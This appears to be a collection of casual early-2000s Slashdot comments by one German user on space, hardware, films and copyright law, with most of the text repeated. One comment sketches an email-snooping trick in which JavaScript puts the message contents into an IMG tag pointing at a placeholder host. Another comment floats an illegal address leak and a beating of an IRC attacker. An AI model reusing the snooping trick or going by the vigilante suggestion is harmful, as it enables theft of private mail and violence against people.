Interestingly, all the certificates that are linked too from the comments in this page return "certificate not found", when the link is opened. They must be doing something.
I remember submitting my name either one or two years ago, at any rate, it's not really news. I couldn't find my name though, maybe I wrote my name down to be sent with another mission. But what message would it send when the mission supposed to carry "our names" (cylindrical track of pits on a 12 cm disc) crashes/disappears.
Interestingly, certificate no. 1 belongs to the son of the Curator.. that's nepotism! No. 2 to also have "Varros"!! Well I guess if you're the "admin", your family would be the first to hear about something as cool as getting your name encoded into pits on a cylindrical discs to be sent to Mars.
It's a shame though, they're getting Slashdotted..
As if that would be so easy. After reading your postactually went to the site to look at the LCDisplay. I don't think it plugs directly into a 15-pin VGA connector, you'll have to come up with some sort of controller... but I like the idea.. if not for Winamp, there's got to be some application for it..
A friend once commented that although Volkswagen is based in Germany, their factory in China makes more of their cars. Why? Because the Chinese will work for less money. It's a wonder when Capitalism will collapse: The rich will only want to work for some high wage, their bosses will give the job to those who will do it for less. (nowadays, it applies more to nations as to humans)
Stupider than that is the fact that this "it runs at half the speed!" topic was already mentioned in an article on Friday: http://slashdot.org/article.pl?sid=01/04/13/204123 8&mode=thread
A friend of mine told me that computers at my uni library, or even the whole uni domain, can get access to the standars for free.. I can't confirm that, but of course he had in front of him a thick bundle of papers entitled "802.11". Yes it was the ISO standard. Is this the same in universities elsewhere? Well, they even give every student about 1000 sheets free for printing from the uni printer every semester, the beauty of German education system.
Oanda <-- Here's a pretty nice Currency Converter site I found while looking a few days ago.. It's suppposedly always updated. I think it even has data tracing back to 1990, (but that could have been another site)
Your first few words just inspired me to create a new acronym:
IANAA (I am not an American)
And quick, I'm patenting it so no one but me can use it! Or at least mention my name when they do. It will be my 15 minutes of fame!!! Hahaha.
"Freak.."
My favorite
movie!!! I liked it how they had a monologue where the main character, Vincent, talked about gene-screening. It was not allowed by the government, but there was nothing you can do about it, if you refuse, they'll just take your sample from a handshake, your glass of water or the door handle you touched as you were walking into that job interview.
Yet another quote "We now have discrimination down to a science."
I used to use Scour Exchange a lot (even on crappy modem bandwidth) and I'm kinda happy to see it back.. but damn that site is living on popup windows.. went on the main page, did a search, did another search, and I have about 10 new windows all having http://media.admonitor.net/... this is at uni, but I'm glad I have WebWasher at home.
I won't be surprised if the client is a banner-ad-ware...
The "problem" here is that JavaScript can copy the contents of the whole page into a string, which it can then use as a part of an HTTP request, thereby enabling the owner of that HTTP server to see your email through his logs.
I once got a long email which I replied to by answering the questions that were embedded in the paragraphs. First I used the standard ">" quoting, but then it looked a bit complicated and jumbled. So I changed to HTML mode and colored my reply blue. I hope it made my friend's live easier. I use Outlook 2000, by the way.. (*hides before the community come and get me*)
I don't see how the JavaScript can send a command for the mail program to send the data back to the spy. Of course the JavaScript can read the whole HTML page (or email, same thing) and then display it back to you, but how does it get the message out to the spy? And they just simply removed that tricky bit out and said "Since we are nice, we prepared this particular wiretap so that it does not send email."
Actually now that I've thought about it, the code can just create an IMG tag and add the contents of the email to the SRC. So like this...
<IMG SRC="http://www.somesite.com/PUTCONTENTSOFEMAILHER ELALALALA">.. afterwards the owner of somesite.com can just check his server logs to snoop on the email. Damn I just answered my own scepticism.. and showed the kiddies how to finish the exploit too. Well let them go to work, I wonder when the FBIs (or their equivalent here in DE) are going to knock on my door.
The idea is...... that we are trying to establish a protocol for communication with whoever this message may reach. Of course they would know primes, but if they talk to us and say "adawq, adwe, aeaw!, adw!, awd !vyxvtw!", how are we going to understand them? The idea with these pages are that they will be able to decrypt the message, and see that it comes from "intelligent" beings that know prime numbers.
Now if you receive a series of primes from outer space, would you dismiss that as "Stupid attention seeking idiots, I know this already!" instead of thinking "Someone is out there!"?
Think broader.
I wonder why we always assume that we need some sort of government assistance in solving these problems.. I'm sure every admin of the boxes that got attacked/misused would like to nail this kid, can't we just ask them to co-operate and trace him down.. if he has a modem connection it might be down to the telco to trace his number, but wouldn't there be some IRC-loving engineer there who wouldn't mind releasing his address without some bullshit court-warrant.. of course then we can't just bust his door and beat him up, but can't we find IRC-loving thugs that wouldn't mind doing that? I mean, I don't think this kid would be the only one using IRC in Romania...
As to the legality of this tactic, don't ask me. But if you want to get it done bad enough...
I wonder what hardware the computer would be running.. Apple, Alpha, x86? If x86, AMD or Intel? Gimme AMD!!!!!
And is that a GeForce2 Pro 64 MB DDR? Well that would equal to driving your Ferrari to the shop down the road wouldn't it... (no need for so much speed?)
Come on, if it's a geek movie, tell me what sort of hardware it's running.
Maybe they should show the hardware details during boot up, with the scrolling really really slowed down. or do they have that fullscreen bootup logo installed already?
Hehe that is so "1984"... their surveillance- device-and-TV-in-one can not be turned off. And it can see everything you do. And it does broadcast propaganda from whoever was in power there! Wow this thread is 1984!
I would like to note that as I read this, the random comment at the bottom of the page is/was:
You are a fluke of the universe; you have no right to be here.
"Chronopolis"
The reason clocks were outlawed was more interesting.. it happened because when people had the same schedule (9 AM - start work, 1 PM lunch, 5 PM go home), the city would be overtaxed.. traffic jams, queues, etc.. so they created different clocks for different people (government workers, service, factory workers), and each group had a set schedule of when they can visit the bank, etc, etc. At the end it got too confusing so they abandoned it and do without time.. it was an interesting story, actually.
District Judge Lewis Kaplan doesn't truly dislike hackers and open-source programmers, not exactly.
Kaplan, who sided with the motion picture industry in a landmark DVD-descrambling lawsuit this year, simply views them as lawless miscreants.
I think Christ-O-Geek is at least partially right there, in that the article states that Open Source Programmers are also Lawless Miscreants. For one thing, the article said them, and that word refers to hackers and open-source programmers.
Granted, the statement didn't come out of Kaplan's mouth himself, but when we believe the article is accurate, he does view Open Source Programmers as Lawless Miscreants.
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Interestingly, all the certificates that are linked too from the comments in this page return "certificate not found", when the link is opened. They must be doing something. I remember submitting my name either one or two years ago, at any rate, it's not really news. I couldn't find my name though, maybe I wrote my name down to be sent with another mission. But what message would it send when the mission supposed to carry "our names" (cylindrical track of pits on a 12 cm disc) crashes/disappears. Interestingly, certificate no. 1 belongs to the son of the Curator.. that's nepotism! No. 2 to also have "Varros"!! Well I guess if you're the "admin", your family would be the first to hear about something as cool as getting your name encoded into pits on a cylindrical discs to be sent to Mars. It's a shame though, they're getting Slashdotted..
As if that would be so easy. After reading your postactually went to the site to look at the LCDisplay. I don't think it plugs directly into a 15-pin VGA connector, you'll have to come up with some sort of controller... but I like the idea.. if not for Winamp, there's got to be some application for it..
A friend once commented that although Volkswagen is based in Germany, their factory in China makes more of their cars. Why? Because the Chinese will work for less money. It's a wonder when Capitalism will collapse: The rich will only want to work for some high wage, their bosses will give the job to those who will do it for less. (nowadays, it applies more to nations as to humans)
Stupider than that is the fact that this "it runs at half the speed!" topic was already mentioned in an article on Friday: http://slashdot.org/article.pl?sid=01/04/13/204123 8&mode=thread
A friend of mine told me that computers at my uni library, or even the whole uni domain, can get access to the standars for free.. I can't confirm that, but of course he had in front of him a thick bundle of papers entitled "802.11". Yes it was the ISO standard. Is this the same in universities elsewhere? Well, they even give every student about 1000 sheets free for printing from the uni printer every semester, the beauty of German education system.
Why does the word "disco" (and its partner-word, ecstasy) come immediately in my head? Is that a subtle joke I was meant to get but not talk about? :)
I wonder when will [some Taiwanese/Korean/not afraid of the RIAA hardware company] release their Burn-Proof-Proof CD-ROM Drive.
Oanda <-- Here's a pretty nice Currency Converter site I found while looking a few days ago.. It's suppposedly always updated. I think it even has data tracing back to 1990, (but that could have been another site)
Your first few words just inspired me to create a new acronym: IANAA (I am not an American) And quick, I'm patenting it so no one but me can use it! Or at least mention my name when they do. It will be my 15 minutes of fame!!! Hahaha. "Freak.."
Yet another quote "We now have discrimination down to a science."
I won't be surprised if the client is a banner-ad-ware...
The "problem" here is that JavaScript can copy the contents of the whole page into a string, which it can then use as a part of an HTTP request, thereby enabling the owner of that HTTP server to see your email through his logs.
I once got a long email which I replied to by answering the questions that were embedded in the paragraphs. First I used the standard ">" quoting, but then it looked a bit complicated and jumbled. So I changed to HTML mode and colored my reply blue. I hope it made my friend's live easier. I use Outlook 2000, by the way.. (*hides before the community come and get me*)
I don't see how the JavaScript can send a command for the mail program to send the data back to the spy. Of course the JavaScript can read the whole HTML page (or email, same thing) and then display it back to you, but how does it get the message out to the spy? And they just simply removed that tricky bit out and said "Since we are nice, we prepared this particular wiretap so that it does not send email."
R ELALALALA"> .. afterwards the owner of somesite.com can just check his server logs to snoop on the email. Damn I just answered my own scepticism.. and showed the kiddies how to finish the exploit too. Well let them go to work, I wonder when the FBIs (or their equivalent here in DE) are going to knock on my door.
Actually now that I've thought about it, the code can just create an IMG tag and add the contents of the email to the SRC. So like this... <IMG SRC="http://www.somesite.com/PUTCONTENTSOFEMAILHE
I heard about it on the radio last week. Of course I'm in Germany...
Server not found! What a fake URL that is!
The idea is...... that we are trying to establish a protocol for communication with whoever this message may reach. Of course they would know primes, but if they talk to us and say "adawq, adwe, aeaw!, adw!, awd !vyxvtw!", how are we going to understand them? The idea with these pages are that they will be able to decrypt the message, and see that it comes from "intelligent" beings that know prime numbers. Now if you receive a series of primes from outer space, would you dismiss that as "Stupid attention seeking idiots, I know this already!" instead of thinking "Someone is out there!"? Think broader.
I wonder why we always assume that we need some sort of government assistance in solving these problems.. I'm sure every admin of the boxes that got attacked/misused would like to nail this kid, can't we just ask them to co-operate and trace him down.. if he has a modem connection it might be down to the telco to trace his number, but wouldn't there be some IRC-loving engineer there who wouldn't mind releasing his address without some bullshit court-warrant.. of course then we can't just bust his door and beat him up, but can't we find IRC-loving thugs that wouldn't mind doing that? I mean, I don't think this kid would be the only one using IRC in Romania...
As to the legality of this tactic, don't ask me. But if you want to get it done bad enough...
I wonder what hardware the computer would be running.. Apple, Alpha, x86? If x86, AMD or Intel? Gimme AMD!!!!!
And is that a GeForce2 Pro 64 MB DDR? Well that would equal to driving your Ferrari to the shop down the road wouldn't it... (no need for so much speed?)
Come on, if it's a geek movie, tell me what sort of hardware it's running.
Maybe they should show the hardware details during boot up, with the scrolling really really slowed down. or do they have that fullscreen bootup logo installed already?
Hehe that is so "1984"... their surveillance- device-and-TV-in-one can not be turned off. And it can see everything you do. And it does broadcast propaganda from whoever was in power there! Wow this thread is 1984!
Here in Germany it's called "Windows" too. So what, his finger must've slipped. At least he can speak English, can you speak German?
I would like to note that as I read this, the random comment at the bottom of the page is/was:
You are a fluke of the universe; you have no right to be here.
Well, if you ask NASA to do the metric-to- empirical conversion, you might make it..
I'm only 19, unfortunately...
"Chronopolis" The reason clocks were outlawed was more interesting.. it happened because when people had the same schedule (9 AM - start work, 1 PM lunch, 5 PM go home), the city would be overtaxed.. traffic jams, queues, etc.. so they created different clocks for different people (government workers, service, factory workers), and each group had a set schedule of when they can visit the bank, etc, etc. At the end it got too confusing so they abandoned it and do without time.. it was an interesting story, actually.
Kaplan, who sided with the motion picture industry in a landmark DVD-descrambling lawsuit this year, simply views them as lawless miscreants.
I think Christ-O-Geek is at least partially right there, in that the article states that Open Source Programmers are also Lawless Miscreants. For one thing, the article said them, and that word refers to hackers and open-source programmers.
Granted, the statement didn't come out of Kaplan's mouth himself, but when we believe the article is accurate, he does view Open Source Programmers as Lawless Miscreants.
Therefore he's wrong.
And I think you are too.